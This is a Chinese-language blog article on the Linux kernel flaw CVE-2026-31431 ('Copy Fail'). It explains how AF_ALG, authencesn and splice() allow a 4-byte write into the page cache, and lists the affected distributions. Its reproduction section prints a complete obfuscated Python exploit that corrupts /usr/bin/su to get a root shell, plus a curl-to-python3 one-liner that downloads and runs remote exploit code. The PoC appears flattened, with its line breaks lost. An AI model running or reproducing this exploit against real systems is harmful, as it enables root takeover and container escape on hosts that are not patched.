当前位置:首页>Linux>重磅消息!Linux最新漏洞已披露!你的Linux主机已经陷入风险!!

重磅消息!Linux最新漏洞已披露!你的Linux主机已经陷入风险!!

  • 2026-10-11 08:26:32
重磅消息!Linux最新漏洞已披露!你的Linux主机已经陷入风险!!

CVE-2026-31431漏洞原理、复现及利用

概述

    Linux Kernel 是全球最广泛使用的开源操作系统内核,它是 Linux 系统的核心组件,负责管理硬件资源、进程调度、内存管理、文件系统和网络功能等底层任务。    Linux Kernel 被披露其存在本地权限提升漏洞,漏洞编号CVE-2026-31431,代号 “Copy Fail”,可导致本地低权限攻击者利用 AF_ALG 加密接口与 splice() 系统调用,实现向任意可读文件的页缓存中写入受控的4字节数据,进而通过篡改 setuid 二进制文件获得 root 权限等危害。   复制失败(CVE-2026-31431) 是 Linux 内核中 authencesn 加密模板的一个逻辑漏洞。它允许一个无特权的本地用户向系统上任意可读文件的页缓存中触发一次确定性、可控的 4 字节写入。仅需一段 732 字节的 Python 脚本,即可修改一个 setuid 二进制文件,并在几乎所有自 2017 年以来发布的 Linux 发行版上获取 root 权限。    内核从不会将被破坏的页面标记为脏以进行回写,因此磁盘上的文件保持不变,普通的磁盘校验和对比也无法发现这一修改。然而,访问文件时实际读取的是页缓存,因此被破坏的内存版本会立即在整个系统范围内显现。一个本地无特权用户可通过破坏 setuid 二进制文件的页缓存,将其提升为 root 权限。该漏洞利用方式同样可突破容器边界,因为页缓存是主机共享的。    该发现由人工智能辅助,但最初源于 Theori 研究员李泰阳的洞察,他当时正在研究 Linux 加密子系统与基于页缓存的数据之间的交互方式。他使用 Xint Code 将研究范围扩展至整个加密子系统,而 Copy Fail 是报告中最重要的发现。

指标
详情
CVSS
7.8 (High,CNA 初始评估,NVD 官方 enrich 尚未完成)
利用成功率
100%,无需竞争条件
影响范围
2017 年以来几乎所有主流 Linux 发行版
Payload
732 字节 Python 脚本
磁盘痕迹
无持久磁盘修改 — 仅污染内存页缓存,绕过 inotify;但 AIDE / Tripwire 等工具在污染窗口期内通过 read() 读取页缓存时可发现哈希异常
容器逃逸
页缓存全局共享,容器内触发、宿主机生效

原理

据描述,在 Linux 内核的 uthencesn 加密模板与 algif_aead 模块的组合实现中,由于 AF_ALG 套接字的 AEAD 解密路径在 2017 年引入了一个就地(in-place)操作优化(提交 72548b093ee3),将 splice() 传递过来的目标文件页缓存页面直接链入可写的输出散列表(scatterlist)。而 authencesn 算法在实现 IPsec 扩展序列号(ESN)支持时,为了重排认证数据中的序列号字节,会在解密过程中将接收缓冲区偏移 assoclen + cryptlen 位置作为临时存储空间写入 4 字节数据。当 AF_ALG 通过 recvmsg() 触发解密操作时,该写入会跨越接收缓冲区边界,直接覆盖链在后面的页缓存页面,从而实现对任意已打开的可读文件的页缓存进行受控的 4 字节篡改。

    本地攻击者利用该漏洞可在无需竞争条件、无需重试的情况下,通过篡改系统上任意可读文件(如 /usr/bin/su 等 setuid 程序)的页缓存内容,直接获得 root 权限,且该写入不会触发磁盘脏页回写,可实现持久化提权等危害。

阐述

1. 什么让 Copy Fail 与众不同

    Linux 内核此前也曾出现过备受关注的权限提升漏洞。Dirty Cow(CVE-2016-5195)需要在虚拟内存子系统的写时复制路径中成功利用竞争条件,通常需要多次尝试,有时还会导致系统崩溃。Dirty Pipe(CVE-2022-0847)则具有版本依赖性,且需要精确操控管道缓冲区。    Copy Fail 是一个直接的逻辑缺陷。它无需竞态条件、重试或容易出错的定时窗口即可触发。    可移植性。 同一个脚本在所有测试过的发行版和架构上均能正常运行,包括 Ubuntu、Amazon Linux、RHEL 和 SUSE。无需针对不同发行版调整偏移量,无需重新编译,漏洞利用代码中也不需要版本检查。    小巧。整个漏洞利用仅是一个使用标准库模块(os、socket、zlib)的简短 Python 脚本。它需要 Python 3.10+ 才能使用 os.splice。无需编译的载荷,也无需安装依赖。    隐蔽性极强。 该写入操作绕过了常规的 VFS 写入路径。内核的回写机制从未将损坏的页面标记为脏数据。使用磁盘上校验和进行比对的标准文件完整性工具将无法发现这一问题,因为磁盘上的文件实际上并未改变。只有内存中的页缓存被破坏。    跨容器影响。 页缓存在整个系统的所有进程间共享,包括跨越容器边界的情况。 Copy Fail 不仅是本地权限提升漏洞,更是一种容器逃逸原语,也是 Kubernetes 节点的 compromise 向量(第二部分)。

2. 发现

    李泰阳此前的内核 CTF 工作已经描绘了 AF_ALG 的攻击面。他意识到,AF_ALG 与 splice 结合可以创建一条路径,使非特权用户空间能够直接将页缓存页注入到加密子系统中,并怀疑散列列表页的来源可能是尚未充分探索的漏洞来源。    与此同时,其他 Theori 研究人员正在运行 Xint 代码,发现了内核代码中的关键漏洞,包括 Android 驱动程序和 XNU。我们希望将这项工作扩展到 Linux 系统,鉴于我们对其实现机制已有深入了解,加密子系统成为了一个顺理成章的切入点。    Xint 代码支持“操作员提示”功能,该功能(可选地)允许人工操作员提供额外的上下文信息,以指导自动化扫描。在此情况下,操作员提示非常简单:  “这是 Linux crypto/子系统。请检查所有从用户空间系统调用可到达的代码路径。注意一个关键观察:splice() 可以将只读文件(包括 setuid 二进制文件)的页缓存引用传递给加密传输散列表。”    Copy Fail漏洞于大约一小时后扫描完, 是最严重的输出结果。

涉及范围

目前已知受影响操作系统及版本:Ubuntu 25.10Ubuntu 24.04 LTSUbuntu 22.04 LTSUbuntu 20.04 LTSUbuntu 18.04 LTSAmazon Linux 2023Red Hat Enterprise Linux 10Red Hat Enterprise Linux 9Red Hat Enterprise Linux 8SUSE 16

复现流程

1.poc:

import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")

2.实操

检查内核版本

uname -r
    漏洞在内核 4.14 版本引入,修复于 6.18.22、6.19.12 等版本。复现前需要确保目标系统的内核版本处于受影响版本范围。

检查algif_aead 模块是否可用

lsmod | grep algif_aead || modinfo algif_aead
   漏洞利用依赖于 algif_aead 内核模块,需要确认该模块已加载。

复现漏洞

方式一:直接执行PoC脚本

命令执行成功,用id/whoami检验拿到root shell。

方式二:使用官方提供的curl命令

在终端中通过 curl 命令直接执行 PoC 脚本:

curl https://copy.fail/exp | python3 && su

    命令执行成功,获得 root shell。

作者:隐域-LuvW&Q、隐域-wynne来源:技术校对:隐域-李00初审:隐域-紫墨终审:隐域-血誓

最新文章

随机文章